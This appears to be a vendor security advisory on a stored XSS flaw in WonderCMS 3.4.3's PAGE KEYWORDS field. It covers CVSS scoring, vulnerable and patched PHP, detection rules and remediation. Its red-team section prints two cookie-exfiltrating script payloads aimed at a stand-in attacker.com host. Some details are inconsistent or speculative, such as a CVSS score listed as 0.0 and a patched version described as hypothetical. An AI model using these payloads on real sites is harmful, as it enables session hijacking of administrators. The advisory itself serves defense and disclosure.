CVE-2024-32744

Executive Summary

CVE-2024-32744 is a stored Cross-Site Scripting (XSS) vulnerability identified in WonderCMS version 3.4.3. The flaw resides in the Settings section, specifically within the PAGE KEYWORDS parameter under the CURRENT PAGE module. An attacker can inject arbitrary web scripts or HTML into this parameter, which is then stored and executed in the context of the victim's browser when the page is viewed. This vulnerability requires user interaction (e.g., an admin visiting the settings page) but can lead to session hijacking, defacement, or redirection to malicious sites. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score: 6.1)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the stored XSS.
• User Interaction (UI): Required (R) – The victim must visit the affected page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, in a CMS context, an admin visiting the settings page is a common scenario, making this a realistic attack vector.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the WonderCMS admin panel. The PAGE KEYWORDS parameter is used to store meta keywords for the current page. The application fails to sanitize or encode user input before storing it in the database and later rendering it in the HTML <head> section.

Attack Flow:

1. An attacker with access to the admin panel (or via a CSRF attack) navigates to the Settings > Current Page section.
2. The attacker injects a malicious payload into the PAGE KEYWORDS field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database without sanitization.
4. When any user (including other admins) visits the page, the payload is rendered in the HTML, executing the script in the victim's browser.

Root Cause: Lack of output encoding or input validation on the PAGE KEYWORDS parameter. The application likely uses echo $keywords; without htmlspecialchars() or similar escaping.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS 3.4.3):

// In the settings page rendering
<meta name="keywords" content="<?php echo $page['keywords']; ?>">

Patched Code (Hypothetical):

<meta name="keywords" content="<?php echo htmlspecialchars($page['keywords'], ENT_QUOTES, 'UTF-8'); ?>">

The vulnerable code directly outputs the stored value without escaping, allowing HTML/JavaScript injection. The patched version uses htmlspecialchars() to encode special characters, preventing XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WonderCMS 3.4.3 installed and running.
• Access to the admin panel (e.g., via default credentials or CSRF).

Exploit Steps:

1. Log in to the WonderCMS admin panel.
2. Navigate to Settings > Current Page.
3. In the PAGE KEYWORDS field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. When an admin visits the page, the script executes, exfiltrating cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual changes to the PAGE KEYWORDS field in the database.
• Look for HTTP requests to unknown external domains from the CMS admin panel.
• Use WAF rules to block common XSS payloads in POST parameters.

Defense:

• Apply input validation: Allow only alphanumeric characters and commas in keywords.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use htmlspecialchars() when outputting user-controlled data.
• Restrict admin panel access to trusted IPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to suspicious domains from the CMS server.
  • POST requests to /admin/save with page_keywords containing <script> tags.
• File IOCs:
  • Modified database entries in the pages table with malicious JavaScript in the keywords field.
• Behavioral IOCs:
  • Unexpected redirects or pop-ups when viewing CMS pages.
  • Unauthorized admin actions (e.g., new user creation) originating from the same session.

Detection Engineering

YARA Rule

rule CVE_2024_32744_XSS_Keywords {
    meta:
        description = "Detects stored XSS payload in WonderCMS PAGE KEYWORDS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32744"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
        $keywords_field = "page_keywords"
    condition:
        $keywords_field and $xss_payload
}

Sigma Rule

title: WonderCMS Stored XSS in PAGE KEYWORDS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via PAGE KEYWORDS parameter in WonderCMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/save'
        cs-request-body|contains: 'page_keywords'
        cs-request-body|re: '<script[^>]*>.*</script[^>]*>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in keywords (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32744 WonderCMS Stored XSS in PAGE KEYWORDS"; flow:to_server,established; content:"POST"; http_method; content:"/admin/save"; http_uri; content:"page_keywords"; http_client_body; pcre:"/<script[^>]*>.*<\/script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the PAGE KEYWORDS feature if not essential, by removing the input field from the admin template.
2. Apply a WAF rule to block requests containing <script> in the page_keywords parameter.
3. Restrict admin panel access to trusted IP addresses only.

Long-Term Fix:

• Upgrade to a patched version of WonderCMS once available.
• Implement proper output encoding using htmlspecialchars() or a templating engine that auto-escapes.
• Conduct a security audit of all user input fields in the CMS.

Workaround:

• Edit the core file themes/default/header.php (or equivalent) and change:

  <meta name="keywords" content="<?php echo $page['keywords']; ?>">
  

  to:

  <meta name="keywords" content="<?php echo htmlspecialchars($page['keywords'], ENT_QUOTES, 'UTF-8'); ?>">
  

Valters IT
Securing Digital Frontiers